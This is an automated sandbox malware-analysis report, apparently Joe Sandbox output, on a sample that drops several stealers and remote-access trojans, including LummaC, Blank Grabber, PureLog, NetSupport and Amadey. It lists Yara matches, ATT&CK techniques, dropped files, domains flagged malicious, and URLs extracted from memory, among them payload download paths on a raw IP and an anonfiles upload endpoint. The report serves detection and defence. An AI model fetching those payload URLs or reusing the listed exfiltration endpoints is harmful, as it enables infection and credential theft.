Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI

Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 0000005F.00000003.2934600615.0000000001328000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000054.00000003.2941270961.0000000001355000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000005F.00000003.2934892594.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000054.00000003.2940333141.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000005F.00000003.2960705475.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000054.00000003.2942245341.000000000135B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D1UL0FG.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ZVMneG.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d0ef52de9f.exe PID: 7216, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2986166870.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2469304797.0000027326167000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2469304797.0000027326165000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2992431014.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2983797651.000001FA2EDC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D1UL0FG.exe PID: 5160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D1UL0FG.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI51602\rarreg.key, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ZVMneG.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d0ef52de9f.exe PID: 7216, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: D1UL0FG.exe PID: 6716, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006BEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	3_2_006BEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006BDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	3_2_006BDF51
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8752B62 bind,WSAGetLastError,	6_2_00007FF8A8752B62

Source: Yara match	File source: 85.2.FuturreApp.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.FuturreApp.exe.6bfe0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 81.3.m9sfEU9.exe.31f4800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.0.FuturreApp.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.FuturreApp.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.FuturreApp.exe.6c000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.FuturreApp.exe.6bd30000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.FuturreApp.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000055.00000000.2642607921.0000000000922000.00000002.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp, type: MEMORY
Source: Yara match	File source: 00000055.00000002.7287032107.00000000111E1000.00000004.00000001.01000000.00000023.sdmp, type: MEMORY
Source: Yara match	File source: 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp, type: MEMORY
Source: Yara match	File source: 00000055.00000002.7276259050.0000000000922000.00000002.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m9sfEU9.exe PID: 7732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FuturreApp.exe PID: 1972, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Netstat\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\FuturreApp.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 File and Directory Permissions Modification	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	12 Native API	1 Scheduled Task/Job	112 Process Injection	4 Disable or Modify Tools	LSASS Memory	23 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	222 Command and Scripting Interpreter	121 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	21 Deobfuscate/Decode Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	121 Registry Run Keys / Startup Folder	4 Obfuscated Files or Information	NTDS	10101 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	4 PowerShell	Network Logon Script	Network Logon Script	14 Software Packing	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	471 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	471 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	112 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\UZAj8wc[1].exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[5].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\D1UL0FG[1].exe	100%	Avira	HEUR/AGEN.1306040
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	100%	Avira	HEUR/AGEN.1306040
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\UZAj8wc[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[5].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\8ZVMneG[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	100%	Joe Sandbox ML
C:\Users\Public\Netstat\FuturreApp.exe	29%	ReversingLabs	Win32.Trojan.NetSupport
C:\Users\Public\Netstat\HTCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\PCICHEK.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\PCICL32.DLL	12%	ReversingLabs
C:\Users\Public\Netstat\TCCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\msvcr100.dll	0%	ReversingLabs
C:\Users\Public\Netstat\pcicapi.dll	3%	ReversingLabs
C:\Users\Public\Netstat\remcmdstub.exe	13%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\m9sfEU9[1].exe	53%	ReversingLabs	Win32.PUA.NetSupportRAT
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	81%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\8ZVMneG[1].exe	67%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[4].exe	18%	ReversingLabs	Win32.Dropper.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	54%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[3].exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	67%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	53%	ReversingLabs	Win32.PUA.NetSupportRAT
C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017901001\a4439a2887.exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Temp\1017904001\97bf9e137e.exe	54%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\1017905001\4dd01d90fc.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1017908001\2c36247645.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1017913001\97d4b1071f.exe	18%	ReversingLabs	Win32.Dropper.Generic
C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1017917001\7423465717.exe	81%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017918001\d2256ee69b.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017919001\b8dc7af2d8.exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017921001\85070a414c.exe	54%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\_MEI51602\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI51602\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI51602\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI51602\_decimal.pyd	3%	ReversingLabs

Name	Malicious	Antivirus Detection	Reputation
sordid-snaked.cyou	true
deafeninggeh.biz	true
effecterectz.xyz	true
debonairnukk.xyz	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/Blank-c/BlankOBF	D1UL0FG.exe, 00000006.00000003.2479764407.000001FA2E279000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2479979296.000001FA2E83D000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2480587995.000001FA2E348000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2479451301.000001FA2E348000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2479664796.000001FA2E254000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2481335811.000001FA2E26A000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2480317541.000001FA2E251000.00000004.00000020.00020000.00000000.sdmp	false
http://%s/testpage.htmwininet.dll	FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	false
http://31.41.244.11/files/7781867830/D1UL0FG.exeshqos.dll	skotes.exe, 00000003.00000002.7284592983.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.0000027326149000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	false
http://geo.netsupportsoftware.com/location/loca.asp	FuturreApp.exe, 00000055.00000002.7280001721.0000000001011000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp	false
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	false
http://%s/testpage.htm	FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	false
https://www.gstatic.cn/recaptcha/	8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	false
https://python.org/dev/peps/pep-0263/	D1UL0FG.exe, 00000006.00000002.3005171596.00007FF8A8E0F000.00000040.00000001.01000000.0000000B.sdmp	false
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	D1UL0FG.exe, 00000006.00000002.2989919313.000001FA2BF31000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.sectigor	D1UL0FG.exe, 00000005.00000002.3018342461.0000027326149000.00000004.00000020.00020000.00000000.sdmp	false
https://www.leboncoin.fr/	D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	false
http://31.41.244.11/files/x3team/random.exe	skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false
http://www.valvesoftware.com/legal.htm	8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com	8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	false
https://lev-tolstoi.com/apih0Y	8ZVMneG.exe, 00000054.00000003.3041726825.0000000001363000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3045357571.0000000001365000.00000004.00000020.00020000.00000000.sdmp	false
https://api.anonfiles.com/upload	D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	false
https://api.libertyreserve.com/beta/xml/transfer.aspx	skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.0000000001402000.00000004.00000020.00020000.00000000.sdmp	false
https://www.msn.com	D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ED50000.00000004.00001000.00020000.00000000.sdmp	false
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 00000011.00000002.2798190076.0000028A95663000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2733086227.0000021FA472A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2733086227.0000021FA45E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2645286273.0000021F95ED9000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
https://discord.com/api/v9/users/	D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	D1UL0FG.exe, 00000006.00000002.2996941109.000001FA2E830000.00000004.00001000.00020000.00000000.sdmp	false
